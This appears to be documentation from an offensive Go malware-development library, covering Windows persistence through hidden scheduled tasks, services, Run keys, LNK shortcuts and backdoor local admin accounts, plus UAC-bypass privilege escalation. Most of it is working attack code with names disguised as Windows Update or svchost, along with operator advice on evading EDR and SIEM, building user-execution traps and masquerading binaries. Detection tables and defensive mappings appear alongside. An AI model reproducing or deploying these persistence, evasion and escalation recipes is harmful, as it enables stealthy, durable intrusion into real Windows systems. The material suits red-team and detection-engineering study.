// Daily refresh: every day at the implant's chosen interval.
_ = scheduler.Create(`\IntelGraphicsRefresh`,
    scheduler.WithAction(`C:\ProgramData\Microsoft\winupdate.exe`),
    scheduler.WithTriggerDaily(1),
    scheduler.WithHidden(),
)

// One-shot recovery at a specific time (e.g. fire-and-forget
// 2 hours from now to retry a failed C2 callback).
recovery := time.Now().Add(2 * time.Hour)
_ = scheduler.Create(`\IntelGraphicsRefreshRecovery`,
    scheduler.WithAction(`C:\ProgramData\Microsoft\winupdate.exe`,
        "--recovery"),
    scheduler.WithTriggerTime(recovery),
    scheduler.WithHidden(),
)

Pipeline — task + Run-key dual persistence

import (
    "github.com/oioio-space/maldev/persistence"
    "github.com/oioio-space/maldev/persistence/registry"
    "github.com/oioio-space/maldev/persistence/scheduler"
)

const bin = `C:\ProgramData\Microsoft\winupdate.exe`

mechs := []persistence.Mechanism{
    scheduler.ScheduledTask(`\Microsoft\Windows\WinUpdate\Refresh`,
        scheduler.WithAction(bin),
        scheduler.WithTriggerStartup(),
        scheduler.WithHidden()),
    registry.RunKey(registry.HiveCurrentUser, registry.KeyRun,
        "WinUpdateBackup", bin),
}
_ = persistence.InstallAll(mechs)

See ExampleCreate.

OPSEC & Detection

ArtefactWhere defenders look
Security Event 4698 (scheduled task created)Universal audit; SIEM rules correlate against task-name patterns and binary paths
Microsoft-Windows-TaskScheduler/Operational ETW providerPer-task creation events
schtasks /query / Get-ScheduledTask listingOperator review; Hidden flag requires "Show Hidden" toggle in taskschd.msc but schtasks /query /xml shows everything
Task XML stored at %SystemRoot%\System32\Tasks\<path>\<name>File-creation telemetry on the XML drop
Task-name patterns mimicking Microsoft (\Microsoft\Windows\…)EDR rules flag custom tasks under the \Microsoft\Windows\ prefix because legitimate Microsoft tasks ship via WIM, not runtime registration
schtasks.exe child processAbsent here — COM path bypasses Sysmon Event 1 / child-process EDR rules
Hidden task with non-Microsoft authorDefender heuristic flags hidden tasks created by non-Microsoft processes

D3FEND counters:

  • D3-SCA — task-creation event auditing.
  • D3-SICA — task XML monitoring on disk.

Hardening for the operator:

  • Match the task path + name to a plausible Microsoft idiom (\Microsoft\Windows\<Component>\<Task>) — but be aware some EDRs flag non-Microsoft authors at exactly that path prefix.
  • Use WithHidden() to keep the task out of casual taskschd.msc browsing, but don't rely on it as a stealth primitive — schtasks /query /xml and Get-ScheduledTask still surface it.
  • Prefer WithTriggerStartup over WithTriggerLogon for pre-logon callbacks; the SYSTEM context is broader and the task fires before the user is logged in.
  • Pair with pe/masquerade for binary identity match.
  • Avoid hosts with strict task-creation auditing (Microsoft-Windows-TaskScheduler/Operational forwarded to enterprise SIEM).

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1053.005Scheduled Task/Job: Scheduled Taskfull — COM-based registration, all common triggersD3-SCA, D3-SICA

Limitations

  • Audit cannot be skipped. Event 4698 fires at registration regardless of how the task is created.
  • Trigger options trimmed. This package supports the common triggers (logon, startup, daily, one-shot time). Other COM triggers (idle, session lock/unlock, event-log match) are not exposed — extend options to add.
  • Startup/logon triggers require admin. Boot/startup tasks registered without admin are silently downgraded to "any user logon" or rejected.
  • Hidden flag is cosmetic. taskschd.msc hides the task from default view; every other tooling surfaces it.
  • No principal override. Tasks run as the registered user (or SYSTEM for startup/boot). Specifying a different principal (RunAs) requires the password and is out of scope for this package.

See also

Windows service persistence

← persistence index · docs/index

TL;DR

Install a Windows service so the implant runs as LocalSystem at every boot. Highest-trust persistence available; also the loudest.

TraitValue
TriggerBoot (or service start trigger)
PrivilegeLocalSystem (highest non-kernel)
Auto-restart on crash?Yes (configurable via SCM recovery actions)
Admin required to install?Yes — SeCreateServicePrivilege or admin SCM access
Telemetry signatureSystem Event 7045 + Security Event 4697 every install

What this DOES achieve:

  • Survives reboots, user logoffs, AV cleanup sweeps that target user-scope artefacts (Run keys, StartUp folders).
  • Runs as LocalSystem — full privilege, no UAC, can manipulate other services.
  • Implements persistence.Mechanism — composes via InstallAll for redundant persistence.

What this does NOT achieve:

  • Loudest persistence option — every modern EDR alerts on service install. Pair with cleanup/service.Hide to remove from services.msc enumeration after install (still loud during install, quieter afterwards).
  • Doesn't bypass admin requirement — you need to be admin to install. For non-admin persistence, see persistence/registry (HKCU) or persistence/startup-folder.
  • EDR remediation often targets services first — defenders who notice see the service name + binary path, can stop + delete with one PowerShell command.
  • Service description is plaintext — choose a name + description that blends with legitimate Windows services (e.g., "Windows Update Medic" variants), but ANY new service in HKLM\SYSTEM\CurrentControlSet\Services is inspectable.

Primer

Services are the canonical Windows mechanism for "long-running process started by the OS, restarted on failure, runs as LocalSystem unless told otherwise". Once installed, the implant survives reboots, user logoffs, and most cleanup sweeps that target user-scope artefacts (Run keys, StartUp folders).

Trade-off: SCM database changes are universally audited. Mature EDR stacks correlate Event 7045 against the binary path (user-writable = bad), the signer (unsigned = bad), and the service description (suspicious keywords). Pair with pe/masquerade (svchost preset), pe/cert, and a binary path inside %SystemRoot%\System32\ for the lowest-noise install operationally available.

How It Works

sequenceDiagram
    participant Caller
    participant SCM as "Service Control Manager"
    participant DB as "services.exe DB"
    participant Audit as "Event log"

    Caller->>SCM: OpenSCManager(SC_MANAGER_CREATE_SERVICE)
    Caller->>SCM: CreateService(name, binPath, type, startType)
    SCM->>DB: write service entry
    DB-->>Audit: System 7045 (service installed)
    DB-->>Audit: Security 4697 (service installed)
    Caller->>SCM: StartService (optional)
    Note over SCM: services.exe spawns binPath as LocalSystem

The implementation uses golang.org/x/sys/windows/svc/mgr under the hood — the standard svc.mgr package — to keep the SCM interaction contract well-tested and conventional. Mechanism.Install chains Install + (optionally) StartService; Mechanism.Uninstall is StopService + DeleteService with cleanup-pause semantics.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/persistence/service is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — install + start

import "github.com/oioio-space/maldev/persistence/service"

err := service.Install(&service.Config{
    Name:        "WinUpdateNotifier",
    DisplayName: "Windows Update Notification Center",
    Description: "Provides update notifications.",
    BinPath:     `C:\ProgramData\Microsoft\winupdate.exe`,
    StartType:   service.StartAuto,
})
if err != nil {
    panic(err)
}
_ = service.Start("WinUpdateNotifier")

Composed — Mechanism + InstallAll redundancy

Pair with a Run-key fallback so loss of either mechanism does not lose persistence.

import (
    "github.com/oioio-space/maldev/persistence"
    "github.com/oioio-space/maldev/persistence/registry"
    "github.com/oioio-space/maldev/persistence/service"
)

mechs := []persistence.Mechanism{
    service.Service(&service.Config{
        Name:      "WinUpdate",
        BinPath:   `C:\ProgramData\Microsoft\winupdate.exe`,
        StartType: service.StartAuto,
    }),
    registry.RunKey(registry.HiveLocalMachine, registry.KeyRun,
        "WinUpdateBackup",
        `C:\ProgramData\Microsoft\winupdate.exe`),
}
errs := persistence.InstallAll(mechs)
for _, e := range errs {
    if e != nil {
        // partial install — verify which fired
    }
}

Advanced — masqueraded binary in System32

The full-stealth recipe: emit a binary that masquerades as a real svchost service host, drop it under System32, install under a plausible service name.

// At build time:
//   import _ "github.com/oioio-space/maldev/pe/masquerade/preset/svchost"
//   go build -o svc-update.exe ./cmd/implant

// On target (assumes admin):
import (
    "io"
    "os"

    "github.com/oioio-space/maldev/persistence/service"
)

const target = `C:\Windows\System32\svc-update.exe`

src, _ := os.Open("svc-update.exe")
dst, _ := os.Create(target)
_, _ = io.Copy(dst, src)
_ = src.Close()
_ = dst.Close()

_ = service.Install(&service.Config{
    Name:        "SvcUpdate",
    DisplayName: "Service Update Helper",
    Description: "Coordinates background service updates.",
    BinPath:     target,
    StartType:   service.StartAuto,
})

See ExampleService.

Advanced — service-account override

When LocalSystem is too noisy, pin the service to a built-in low-priv principal (no password needed) or to a normal user that already holds SeServiceLogonRight.

// 1. Built-in NT AUTHORITY\NetworkService — no password.
//    Already holds SeServiceLogonRight.
_ = service.Install(&service.Config{
    Name:        "WinUpdateNetCheck",
    DisplayName: "Windows Update Network Check",
    BinPath:     `C:\ProgramData\Microsoft\winupdate.exe`,
    StartType:   service.StartAuto,
    Account:     `NT AUTHORITY\NetworkService`,
})

// 2. Domain account. Account MUST already hold
//    SeServiceLogonRight (granted via secedit / GPO / LsaAddAccountRights).
_ = service.Install(&service.Config{
    Name:      "WinUpdateContext",
    BinPath:   `C:\ProgramData\Microsoft\winupdate.exe`,
    StartType: service.StartManual,
    Account:   `CORP\svc-winupdate`,
    Password:  os.Getenv("MALDEV_SVC_PWD"),
})

OPSEC & Detection

ArtefactWhere defenders look
System Event 7045 (service installed)Universal; high-fidelity SIEM rule when correlated against unsigned binary or user-writable path
Security Event 4697 (service installed)Audit log; same population as 7045
services.msc / sc query listingOperator review; service description is the human-readable fingerprint
autoruns.exe highlightSysinternals Autoruns flags unsigned services in red
HKLM\SYSTEM\CurrentControlSet\Services\<Name> registry writeSysmon Event 13 (registry value set); forensic timeline
Service binary path under %TEMP%, %APPDATA%, %PROGRAMDATA%Defender heuristic; legitimate services live under Program Files or System32
Service running as LocalSystem with outbound HTTPS to non-MS endpointBehavioural EDR — outbound profile mismatch with claimed identity
Service with empty DisplayName / DescriptionDefender heuristic — legitimate services document themselves

D3FEND counters:

  • D3-PSA — services.exe spawning unsigned binaries.
  • D3-SICA — SCM database registry monitoring.

Hardening for the operator:

  • Pair with pe/masquerade/preset/svchost so the binary's PE metadata matches a real Microsoft service host.
  • Pair with pe/cert.Copy to graft an Authenticode blob (passes presence checks).
  • Drop the binary under %SystemRoot%\System32\ (admin required) — services in Program Files or System32 draw less default scrutiny than ones under %PROGRAMDATA%.
  • Populate DisplayName + Description with text that matches the cloned identity.
  • Avoid this technique on hosts with strict service-creation audit (Microsoft LAPS-protected, enterprise SOC-monitored).

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1543.003Create or Modify System Process: Windows ServicefullD3-PSA, D3-SICA

Limitations

  • Admin required. SCM CreateService needs SC_MANAGER_CREATE_SERVICE which is admin-gated.
  • Service binary contract. The launched binary must implement the SCM control protocol (respond to ServiceMain start, SERVICE_CONTROL_STOP etc.) or it will be killed within ~30 s. Implants that don't implement the contract should run as StartManual + a separate trigger, or wrap the implant binary with the golang.org/x/sys/windows/svc runner.
  • Service-account override is one-shot. Config.Account + Config.Password propagate through to mgr.CreateService so non-LocalSystem services install fine. Pair with GrantSeServiceLogonRight(account) for user-account services where the principal doesn't already hold the right. Built-in NT AUTHORITY\NetworkService / LocalService need neither the grant nor a password.
  • Boot/System start types. StartBoot / StartSystem are kernel-driver-only; userland binaries with these start types are rejected by SCM.
  • Pre-Vista compatibility. Some legacy options (interactive desktop, etc.) are not exposed.

See also

LNK shortcut creation

← persistence index · docs/index

TL;DR

Create Windows .lnk shortcut files via COM/OLE automation. Fluent builder with three sinks: Save(path) (disk via WScript.Shell), BuildBytes() (raw bytes, zero-disk via IShellLinkW + IPersistStream::Save on an HGLOBAL-backed IStream), and WriteTo(io.Writer) (same zero-disk path, streamed to any operator-controlled writer). Used as the primitive for persistence/startup, and standalone for T1204.002 user-execution traps (Desktop / Quick Launch / Documents drops). Windows-only.

Primer

LNK files are the Windows shell's canonical "double-click to launch" artefact. They carry a target path, optional arguments, working directory, an icon resource, and a window-style hint. Windows Explorer renders them as their target's icon; the user sees a familiar app and clicks.

The COM/OLE path (WScript.Shell.CreateShortcut) is the same surface PowerShell's WScript.Shell ComObject uses. It produces a fully-formed shell link with no shellbag side-effects and no shortcut-file footer Microsoft signs as part of the SmartScreen Mark-of-the-Web pipeline — unlike a downloaded .lnk, this one carries no MOTW.

How It Works

sequenceDiagram
    participant Caller
    participant COM as "STA apartment"
    participant Shell as "WScript.Shell"
    participant Sc as "IWshShortcut"

    Caller->>COM: CoInitializeEx STA
    Caller->>Shell: CoCreateInstance WScript.Shell
    Caller->>Shell: CreateShortcut path
    Shell-->>Sc: IWshShortcut dispatch
    Caller->>Sc: PutProperty TargetPath, Arguments, Icon, Style, Desc, WorkDir
    Caller->>Sc: Save
    Sc-->>Caller: lnk on disk
    Caller->>COM: Release then CoUninitialize

The zero-disk path (BuildBytes and WriteTo) swaps the Shell automation actors for a direct IShellLinkW + IPersistStream chain:

sequenceDiagram
    participant Caller
    participant COM as "STA apartment"
    participant Sl as "IShellLinkW"
    participant PS as "IPersistStream"
    participant Stream as "IStream on HGLOBAL"

    Caller->>COM: CoInitializeEx STA
    Caller->>Sl: CoCreateInstance CLSID_ShellLink
    Caller->>Sl: SetPath, SetArguments, SetIconLocation, SetShowCmd, SetHotkey
    Caller->>Sl: QueryInterface IID_IPersistStream
    Sl-->>PS: IPersistStream pointer
    Caller->>Stream: CreateStreamOnHGlobal NULL TRUE
    Caller->>PS: Save Stream TRUE
    PS-->>Stream: bytes written into HGLOBAL
    Caller->>Stream: GetHGlobalFromStream and GlobalLock
    Stream-->>Caller: byte slice
    Caller->>Stream: Release
    Caller->>PS: Release
    Caller->>Sl: Release
    Caller->>COM: CoUninitialize

The builder runs runtime.LockOSThread because COM apartments are per-thread. Every call to Save tears the apartment down so the package leaves no apartment state behind. All COM resources are released even on the error path.

For BuildBytes / WriteTo, the path swaps WScript.Shell for a direct CoCreateInstance(CLSID_ShellLink, IID_IShellLinkW), configures the shortcut via raw vtable calls (SetPath, SetArguments, SetWorkingDirectory, SetDescription, SetIconLocation, SetShowCmd), then QueryInterface-s for IPersistStream and calls Save(stream) against an IStream created by CreateStreamOnHGlobal(NULL, fDeleteOnRelease=TRUE). Bytes are extracted from the underlying HGLOBAL via GetHGlobalFromStream / GlobalLock before the stream — and thus the HGLOBAL — is released. No filesystem call is made at any point.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/persistence/lnk is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — Desktop launcher

import "github.com/oioio-space/maldev/persistence/lnk"

_ = lnk.New().
    SetTargetPath(`C:\Windows\System32\cmd.exe`).
    SetArguments("/c whoami").
    SetWindowStyle(lnk.StyleMinimized).
    Save(`C:\Users\Public\Desktop\link.lnk`)

Composed — donor icon + minimised

Use notepad.exe's icon and a benign description so Explorer renders the shortcut indistinguishably from a real notepad launcher.

_ = lnk.New().
    SetTargetPath(`C:\ProgramData\Microsoft\winupdate.exe`).
    SetArguments("--update").
    SetIconLocation(`C:\Windows\System32\notepad.exe,0`).
    SetDescription("Notes").
    SetWindowStyle(lnk.StyleMinimized).
    Save(`C:\Users\Public\Desktop\Notes.lnk`)

Advanced — Quick Launch user-execution trap

Drop into Quick Launch where a freshly logged-on user is most likely to click without inspection.

import (
    "os"
    "path/filepath"

    "github.com/oioio-space/maldev/persistence/lnk"
)

appData := os.Getenv("APPDATA")
qLaunch := filepath.Join(appData,
    `Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar`)

_ = lnk.New().
    SetTargetPath(`C:\ProgramData\Microsoft\winupdate.exe`).
    SetIconLocation(`C:\Windows\System32\mmc.exe,0`).
    SetDescription("Computer Management").
    SetWindowStyle(lnk.StyleNormal).
    Save(filepath.Join(qLaunch, "Computer Management.lnk"))

Stealth landing — bytes through an operator-controlled Creator

WriteVia keeps the in-memory build (BuildBytes) and then routes the final write through any stealthopen.Creator — transactional NTFS, encrypted-stream wrapper, alternate data stream, raw NtCreateFile, etc. Same composition story as stealthopen.Opener for read paths.

import (
    "github.com/oioio-space/maldev/evasion/stealthopen"
    "github.com/oioio-space/maldev/persistence/lnk"
)

// Operator's anti-EDR write primitive (their package, their Open/Close).
var creator stealthopen.Creator = myEDRBypassCreator{}

_ = lnk.New().
    SetTargetPath(`C:\Windows\System32\cmd.exe`).
    SetWindowStyle(lnk.StyleMinimized).
    WriteVia(creator, `C:\Users\Public\Desktop\Notes.lnk`)

// nil creator falls back to os.Create — drop-in replacement for Save:
_ = lnk.New().
    SetTargetPath(`C:\Windows\System32\cmd.exe`).
    WriteVia(nil, `C:\Users\Public\Desktop\Notes.lnk`)

Zero-disk — bytes for C2 staging

Build the LNK fully in memory via IShellLinkW + IPersistStream::Save on an HGLOBAL-backed IStream. No file is opened, created, or read on disk at any point — useful when the operator wants to encrypt/transport/embed the artefact through their own write primitive.

import (
    "bytes"

    "github.com/oioio-space/maldev/persistence/lnk"
)

raw, err := lnk.New().
    SetTargetPath(`C:\Windows\System32\cmd.exe`).
    SetArguments("/c whoami").
    SetWindowStyle(lnk.StyleMinimized).
    BuildBytes()
if err != nil {
    return err
}
// `raw` is a fully-formed LNK byte stream, ready for embedding,
// encryption, or transport over a C2 channel.

// Or stream directly into any io.Writer (encrypted ADS, in-memory
// mount, custom anti-EDR Opener, …).
var buf bytes.Buffer
if _, err := lnk.New().
    SetTargetPath(`C:\Windows\System32\cmd.exe`).
    WriteTo(&buf); err != nil {
    return err
}

See ExampleNew.

OPSEC & Detection

ArtefactWhere defenders look
LNK file written outside StartUp foldersGenerally noise — every Office install creates LNKs
LNK file written inside StartUp foldersPath-scoped EDR rules (Defender, MDE) — high-fidelity
LNK file with mismatched icon vs targetMature EDR cross-checks IconLocation PE vs TargetPath PE
LNK pointing at user-writable / temp pathsDefender heuristic — system shortcuts target System32, not %TEMP%
WScript.Shell COM call from non-script processETW Microsoft-Windows-WMI-Activity / similar; rare in non-script processes
MOTW absence on a downloaded LNKSmartScreen / Get-Item ... -Stream Zone.Identifier

D3FEND counters:

  • D3-FCA — LNK header structure analysis; well-known parser libraries flag suspicious target/icon mismatches.
  • D3-UA — track user-execution chains.

Hardening for the operator:

  • Match IconLocation to a PE consistent with the displayed description.
  • For startup persistence, prefer persistence/startup which wraps lnk with the right paths.
  • Don't drop in %TEMP% / %APPDATA%\Local\Temp — those paths draw default rules.
  • For user-execution traps, use a name + icon a real user would not double-take (Documents folder, with their actual recent-doc names).

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1547.009Boot or Logon Autostart Execution: Shortcut Modificationfull — LNK creation primitiveD3-FCA
T1204.002User Execution: Malicious Filepartial — produces the LNK; user click is out-of-bandD3-UA

Limitations

  • Windows-only. No cross-platform stub — calls are guarded by //go:build windows.
  • COM apartment overhead. runtime.LockOSThread is held for the duration of every sink (Save, BuildBytes, WriteTo); high-frequency LNK creation paths benefit from batching builders behind a single COM init.
  • Zero-disk path is amd64-only in practice. BuildBytes / WriteTo use raw COM vtable calls via syscall.SyscallN and rely on the Windows x64 ABI — the calls compile under GOARCH=386 but argument passing for IShellLinkW setters has not been verified on 32-bit. Treat 64-bit Windows as the supported target.
  • Custom LinkFlags / EXTRA_DATA_BLOCKs. Callers needing fields neither IWshShortcut nor IShellLinkW expose (custom flags, signed property store entries, console block tweaks) still need a separate parser / writer — neither sink reaches past those interfaces.
  • No LNK reading. This package writes only; reading existing LNKs requires a separate parser.
  • Save and BuildBytes are NOT byte-identical. WScript.Shell.IWshShortcut.Save(path) auto-computes RELATIVE_PATH from its path argument (used by the Windows shell as a fallback resolver if the absolute target moves). BuildBytes runs IPersistStream::Save against an in-memory IStream — no path reference is available, so the HasRelativePath flag stays clear and the corresponding StringData block is omitted (~50–100 bytes shorter output). Operators that need byte-equivalence under forensic comparison must either use Save or extend the builder with a typed SetRelativePath accessor (backlog item). Verified by TestBuildBytes_DivergesFromSave_OnRelativePath against the Windows10 VM target (commit dde3f5c..).
  • MOTW absent. Locally-created LNKs carry no Zone.Identifier ADS — useful for the operator, but a forensic tell when correlating LNKs against download history.
  • Hotkey parser scope. Both sinks honour SetHotkey. The BuildBytes path translates the WSH string ("Ctrl+Alt+T", "Shift+F1", "Alt+1") into the packed WORD form (HOTKEYF_* << 8 | VK_*) expected by IShellLinkW::SetHotkey. Recognised modifiers: Ctrl/Control, Alt, Shift, Ext. Recognised keys: A–Z, 0–9, F1–F24. Anything else (numpad, OEM, multimedia VKs) is silently dropped — extend parseHotkey if needed.

See also

Local account creation

← persistence index · docs/index

TL;DR

Create a backdoor local user account that survives reboots, password rotations on other accounts, and full implant removal. Add the account to Administrators (SID-500 group) for full local control.

You want to…UseTelemetry
Add a backup admin accountAdd + AddToGroup "Administrators"Security 4720 (account created) + 4732 (group add)
Modify password / propertiesSetInfoSecurity 4724 (password reset)
Delete an account (cleanup)DeleteSecurity 4726
List accounts (recon)EnumRead-only — no Security log entry

What this DOES achieve:

  • Independent credential — survives any cleanup that doesn't enumerate all local users.
  • Member of Administrators = full local control without needing to maintain implant access.
  • Standard NetAPI32 calls — no net user child-process signal.

What this does NOT achieve:

  • Loudest persistence option in this tree — every action emits Security events that mature SIEMs cluster on.
  • Easily inventoriednet user / Get-LocalUser lists every account on the machine. Defenders running periodic user audits notice the new account immediately.
  • Doesn't bypass admin requirementNetUserAdd needs Administrator. For non-admin alternatives see persistence/registry (HKCU) or persistence/startup-folder.
  • Domain-joined hosts: local accounts only. Domain account creation is a different attack class entirely (DC access, domain admin, Kerberos manipulation — see credentials/goldenticket).

Primer

Creating a local account gives the operator a credential that survives reboots, password rotations on other accounts, and implant removal. Adding the account to Administrators (the SID-500 group) gives full local control. The trade-off is volume: SAM events are universally audited and any half-decent SIEM rule fires on a local-admin add from a non-IT context.

The package wraps the canonical Net* Win32 admin APIs — same surface that net user, Computer Management MMC, and PowerShell's New-LocalUser use. There is no stealthier API for local-account manipulation; the loudness is inherent to the technique.

How It Works

sequenceDiagram
    participant Op as "Operator"
    participant API as "NetAPI32"
    participant SAM as "Local SAM database"
    participant Audit as "Security audit log"

    Op->>API: NetUserAdd("svc-update", "P@ss…")
    API->>SAM: USER_INFO_1 record
    SAM-->>Audit: Event 4720 (account created)
    SAM-->>Audit: Event 4722 (account enabled)
    Op->>API: NetLocalGroupAddMembers("Administrators", "svc-update")
    API->>SAM: alias-member entry
    SAM-->>Audit: Event 4732 (user added to group)
    Note over Audit: SIEM correlation: account creation + admin add<br>from non-IT lineage = high-fidelity alert

The package's Add posts a USER_INFO_1 (level 1: name + password + privilege + home-dir + comment + flags + script-path) so the account is created enabled and password-set in a single call. SetAdmin is NetLocalGroupAddMembers against the well-known Administrators alias.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/persistence/account is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — add a service-looking account

import "github.com/oioio-space/maldev/persistence/account"

_ = user.Add("svc-update", "P@ssw0rd!2024")
defer user.Delete("svc-update")

Composed — add admin + group cleanup

if !user.IsAdmin() {
    return fmt.Errorf("requires local admin")
}
_ = user.Add("svc-update", "P@ssw0rd!2024")
_ = user.SetAdmin("svc-update")

// Tear down on uninstall
defer func() {
    _ = user.RevokeAdmin("svc-update")
    _ = user.Delete("svc-update")
}()

Advanced — pair with service persistence

Run the implant as the new account so the service uses its credential at every restart — credential persistence + autostart in one composite mechanism.

import (
    "github.com/oioio-space/maldev/persistence"
    "github.com/oioio-space/maldev/persistence/account"
    "github.com/oioio-space/maldev/persistence/service"
)

_ = user.Add("svc-update", "P@ssw0rd!2024")
_ = user.SetAdmin("svc-update")

mechanisms := []persistence.Mechanism{
    service.Service(&service.Config{
        Name:      "WinUpdate",
        BinPath:   `C:\ProgramData\Microsoft\winupdate.exe`,
        StartType: service.StartAuto,
        // The service runs as LocalSystem by default; specifying
        // svc-update would route through SCM ChangeServiceConfig
        // and require LogonAsAService.
    }),
}
_ = persistence.InstallAll(mechanisms)

See ExampleAdd.

OPSEC & Detection

ArtefactWhere defenders look
Security 4720 (user created)Universal audit; SIEM rule: 4720 from non-IT-OU = high-fidelity alert
Security 4722 (user enabled)Pairs with 4720 in baseline rules
Security 4732 (member added to group)Especially for Administrators / Backup Operators / Remote Desktop Users SIDs
Security 4724 (password reset by another account)SetPassword on a non-self account
NetUserAdd API call from a non-IT processEDR API telemetry (Defender ATP, MDE)
Net1.exe / dsadd.exe lineage absenceDirect API use bypasses child-process telemetry but emits the same audit events

D3FEND counters:

  • D3-LAM — local SAM event auditing.
  • D3-UAP — group-membership change detection.

Hardening for the operator:

  • Pick a name that mimics service accounts (svc-*, WindowsUpdate, defender-cu) — naive correlation against user-named accounts misses these.
  • Don't immediately add to Administrators on creation — split the actions across hours or use a Backup Operators / Remote Desktop Users membership instead, which raises lower-priority alerts.
  • Pair with cleanup to delete the account at op end — long-lived dormant accounts attract proactive review.
  • Avoid this technique entirely if the target has Just-In-Time admin (Microsoft LAPS, Azure PIM); event 4720 there is effectively a tripwire.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1136.001Create Account: Local AccountfullD3-LAM
T1098Account Manipulationpartial — group-membership add/remove via AddToGroup / SetAdminD3-UAP

Limitations

  • Admin required for most operations. Add, Delete, SetAdmin, SetPassword (against another account) need local administrator. IsAdmin lets the caller check before attempting.
  • Domain-joined hosts. Group Policy can disable local account creation entirely (DenyAddingLocalAccounts); the call returns ERROR_INVALID_PARAMETER.
  • Audit cannot be suppressed from user mode. SAM events fire pre-authorization; only kernel-level tampering (out-of-scope) silences them.
  • No domain-account support. This package wraps NetUserAdd against the local SAM only. Domain accounts require LDAP / NetUserAdd to a DC — separate concern.

See also

Privilege escalation (privesc/*)

← maldev README · docs/index

The privesc/* package tree groups primitives that take a non-elevated user token and produce SYSTEM-context execution.

flowchart TB
    subgraph startState [Start state]
        Medium["Medium-IL token<br>(typical user)"]
    end
    subgraph paths [Escalation paths]
        UAC["uac/*<br>fodhelper / slui /<br>silentcleanup / eventvwr"]
        CVE["cve202430088/*<br>kernel TOCTOU race"]
    end
    subgraph end [End state]
        High["High-IL token (UAC)"]
        SYSTEM["NT AUTHORITY\\SYSTEM<br>(token swap)"]
    end
    Medium -->|admin user, UAC default| UAC
    UAC --> High
    Medium -->|vulnerable build < 2024-06| CVE
    CVE --> SYSTEM

Where to start (novice path):

  1. Are you Medium-IL admin user? → uac. UAC bypass methods (FODHelper / SLUI / SilentCleanup / EventVwr) silently elevate to High-IL without a prompt. Pick by build window.
  2. Need full SYSTEM, not just High-IL? → check the host build via win/version; if pre-June-2024 Windows 10/11, cve202430088. Otherwise you need a different exploit (out of scope here).
  3. Already SYSTEM, want TrustedInstaller? → win/impersonate.RunAsTrustedInstaller.
  4. The decision tree below covers every common state / target permutation.

Decision tree

State / questionPath
"User is admin, UAC is default-notify, just need elevation."privesc/uac — pick the bypass that survives the build
"Need SYSTEM, host build < June 2024 patch."privesc/cve202430088
"Already SYSTEM, need TrustedInstaller."win/impersonate.RunAsTrustedInstaller
"Already admin, need elevation without UAC bypass."win/privilege.ShellExecuteRunAs (visible UAC prompt)

Per-package pages

  • uac.md — four bypass primitives (FODHelper, SLUI, SilentCleanup, EventVwr) with build-window tables.
  • cve202430088.md — CVE-2024-30088 kernel TOCTOU race with pre-flight version probe and BSOD-risk caveat.

Pre-flight pattern

import (
    "github.com/oioio-space/maldev/win/version"
    "github.com/oioio-space/maldev/win/privilege"
)

admin, elevated, _ := privilege.IsAdmin()
switch {
case elevated:
    // already there
case admin && !elevated:
    // UAC bypass
case !admin:
    // CVE path or credential capture
}

if info, _ := version.CVE202430088(); info.Vulnerable {
    // kernel race available
}

MITRE ATT&CK rollup

IDTechniqueOwners
T1548.002Bypass User Account Controlprivesc/uac
T1068Exploitation for Privilege Escalationprivesc/cve202430088
T1134.001Token Impersonation/Theftprivesc/cve202430088 (token swap)

See also

UAC bypasses

← privesc techniques · docs/index

TL;DR

Five primitives that hijack auto-elevating Windows binaries to spawn an elevated process without a consent prompt when the calling user is already in Administrators and UAC is at the "Default" level (the OS shipping default).

PrimitiveHijack targetSurfaceBuild cut-off
uac.FODHelper(path)fodhelper.exe ms-settings\CurVerHKCU registryWin10 1709 → 24H2 (working as of 22H2 — vendors patch periodically)
uac.SLUI(path)slui.exe exefile shell\openHKCU registryWin7+
uac.SilentCleanup(path)SilentCleanup task windir envHKCU envWin8+
uac.EventVwr(path)eventvwr.exe mscfile shell\openHKCU registryWin7 → 17134
uac.EventVwrLogon(...)EventVwr + alt-credsHKCU registry + Secondary Logonas EventVwr

[!IMPORTANT] All five hijack auto-elevation behaviour, so they require:

  1. Caller already runs as a member of Administrators (UAC downgrades elevation under "Default" but does not exist when the user is not admin).
  2. UAC level is not "Always notify" — that level cannot be silenced.

Primer

UAC's "Default" mode auto-elevates a small set of trusted system binaries (those with autoElevate=true in their manifest and located under System32). When such a binary launches it inherits the user's full admin token without prompting. If that binary then reads a registry key or environment variable from HKCU (or HKEY_CURRENT_USER evaluated under the original user's context) and uses it as a command path, an attacker can pre-stage that path to point at their payload.

Each technique exploits one such delegation:

  • fodhelper.exe reads HKCU\Software\Classes\ms-settings\Shell\Open\Command before falling back to HKLM.
  • slui.exe reads HKCU\Software\Classes\exefile\shell\open\command.
  • SilentCleanup task runs as elevated and resolves %windir% from the per-user environment.
  • eventvwr.exe reads HKCU\Software\Classes\mscfile\shell\open\command.

How it works

sequenceDiagram
    participant Op as "Operator"
    participant Reg as "HKCU registry"
    participant Auto as "fodhelper.exe (auto-elev)"
    participant Shell as "Shell\Open\Command"
    Op->>Reg: write ms-settings\Shell\Open\Command = payload.exe
    Op->>Auto: ShellExecute(fodhelper.exe)
    Note over Auto: kernel grants High-IL token<br>(autoElevate=true + System32 + signed)
    Auto->>Reg: read ms-settings\Shell\Open\Command
    Reg-->>Auto: payload.exe
    Auto->>Shell: CreateProcess(payload.exe)
    Shell-->>Op: payload runs at High IL
    Op->>Reg: cleanup hijack key (defer)

Common implementation skeleton (all 4 follow the same shape):

  1. Open / create the hijack key under HKCU.
  2. Set the default value to the operator's path.
  3. Possibly set DelegateExecute to empty (FODHelper-style).
  4. ShellExecuteW the auto-elevating binary.
  5. Wait briefly for the spawn (Sleep ~1s — the auto-elev binary is a fast-cleanup target).
  6. Delete the hijack key.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/privesc/uac is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — FODHelper

